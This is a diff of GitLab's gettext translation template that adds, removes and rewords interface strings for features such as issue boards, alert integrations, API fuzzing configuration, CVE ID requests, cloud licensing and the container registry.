msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -985,6 +995,9 @@ msgstr[0] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1219,9 +1256,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1231,13 +1265,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1333,13 +1361,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1633,10 +1679,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1682,6 +1724,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1757,6 +1802,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1784,9 +1832,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1814,6 +1859,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1832,6 +1880,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -1925,6 +1976,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -1952,6 +2006,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2093,9 +2150,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2531,6 +2585,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2739,6 +2802,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,13 +2823,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2769,25 +2841,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2802,24 +2877,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2829,6 +2916,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2877,7 +2964,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -2967,9 +3057,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3033,6 +3120,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3117,6 +3210,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3240,6 +3336,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3252,9 +3351,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3345,7 +3441,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3724,9 +3826,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -3923,6 +4028,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -3965,13 +4076,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4396,6 +4507,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4498,6 +4612,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4516,6 +4633,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4540,7 +4660,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4673,6 +4793,9 @@ msgstr[0] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4703,6 +4826,10 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4712,9 +4839,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4742,6 +4869,10 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5090,15 +5233,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5117,6 +5251,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5205,6 +5345,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5301,6 +5462,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5421,6 +5585,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5448,6 +5615,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6105,6 +6281,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6138,6 +6317,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6171,9 +6392,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6192,12 +6410,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6747,6 +6974,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7453,6 +7683,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7516,6 +7749,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7801,6 +8037,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7827,9 +8066,6 @@ msgid "ContainerRegistry|%{count} Tag"
msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -7914,6 +8150,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -7932,6 +8171,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -7996,6 +8238,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8218,6 +8463,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8263,9 +8511,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8323,9 +8568,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8380,12 +8634,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8419,6 +8682,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8428,16 +8694,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8582,9 +8847,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8606,6 +8868,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8759,6 +9024,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8822,6 +9090,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9123,8 +9394,9 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9219,6 +9491,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9288,6 +9563,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
